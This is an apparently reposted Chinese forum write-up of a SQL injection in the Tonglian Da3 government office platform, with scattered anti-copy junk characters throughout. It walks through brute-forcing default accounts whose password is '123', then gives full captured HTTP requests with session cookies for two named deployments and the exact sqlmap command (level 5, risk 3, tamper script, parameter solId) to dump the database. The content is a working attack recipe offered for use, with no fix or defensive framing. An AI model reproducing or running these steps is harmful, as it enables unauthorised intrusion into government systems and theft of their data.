同联Da3协同办公平台前台通用sql injection漏洞

admin

7 A" u: j; u$ V5 X: D {6 ?0 j: M: X
! n }) e& E, o3 X( U- e

2 X7 F: P, a* ]/ ] 平台简介：

* N W% @5 v5 `

% x7 f* k* h' h7 x4 @   - A5 B5 [! D( c3 u* e

& O2 g; ^5 W- t9 I' R

北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
% l* C2 t5 \/ I3 U2 u同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
% b4 O: I7 ~1 W, U+ n: F# {" ~同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

 

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址： 1 \1 L" t* f$ _; U N1 E/ H

  ' Z+ D# }$ G* |: }- |

http://1.1.1.1:7197/cap-aco/#（案例2-）

. M8 \0 S) @' O9 c9 s

http://www.XXOO.com （案例1-官网网站）

  + z1 | D4 E% h3 V( h9 B

5 z0 {0 R+ M, N0 q& l+ V" z 漏洞详情:

1 l6 O8 j" H- A2 d: S9 O0 B

* N, E& i- F# X# S/ D  初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 / p0 |" u+ Z. p' `5 B9 t; G

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

 

4 q1 E& F R% `2 I Z0 q+ _  

status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下： . _# E! v& Z. ]$ {) U0 }) L

1、案例1-官方网站

f3 f, k* \6 T$ C( i

5 |; }8 ^; r% a, y GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1 / X# C. w4 O) Z0 L+ o! H. D

Host: www.XXOO.com

& j6 }& t: A4 T/ l, V% H Proxy-Connection: Keep-Alive ! S) Z. q$ A' z1 L! [( V' S

. ?' ~ g" d5 @+ [6 J

Accept: application/json, text/javascript, */*; q=0.01 4 M- o }+ f. n

- p5 t* L) Y9 Q+ p* r" Q Accept-Language: zh-CN ( e, h" f: p+ I& v8 I

Content-Type: application/json , P# p- P) q2 K! h

* b; } F; a1 U; l* |

$ U1 I% L: S D User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko

* a; O9 I+ q0 L" B) b4 f# P

+ G# I8 h" A0 f, ^, d( X X-Requested-With: XMLHttpRequest

8 ^; F8 Q. q8 S1 q* L" z

Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002

) o8 Z3 o6 p, d5 _+ u" Y

Accept-Encoding: gzip, deflate, sdch

6 @8 V2 X2 m9 L" C, }6 [ Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e

/ B( T/ {4 x0 r0 b8 {+ }

将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: 3 l+ y j b" a. m7 L B5 h

& W. i- E8 c3 Z) S z* Y- K

 

 

$ d( }# E' \+ Y# K1 r2 u

 

. l3 t. p x0 |# P9 O

 

& a$ J. W7 ^4 H- S: ^' H

 

2、案例2-某天河云平台

# Q9 K% k6 s1 p6 C) z% F

+ B# M \2 @3 ?% u GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1

. g4 b9 U) O6 j/ `: o5 D

Host: 1.1.1.:7197

. S# Y( t- p/ c Accept: application/json, text/javascript, */*; q=0.01

; J; @4 a7 l# }' N

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0

, U; L* R1 J6 v

5 q+ y2 ]! K# V0 f5 K% z3 Q Content-Type: application/json 1 ?$ _ _, x6 D' K) r$ S9 ~5 D9 m

Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008

Accept-Language: zh-CN,zh;q=0.8

Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1 w: \3 Z3 e& ~. c J0 \, g k" X

5 R2 a- v" u- a, [3 D( p1 e# f Connection: close

, ^1 ]6 R2 Y) g8 @, b

将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:

0 G; B" J9 E* S& e2 z

a3 z: ~0 R e& L4 Y, f   % i0 J3 b% { l9 o& [+ C; V

1 @- w F& L7 a4 J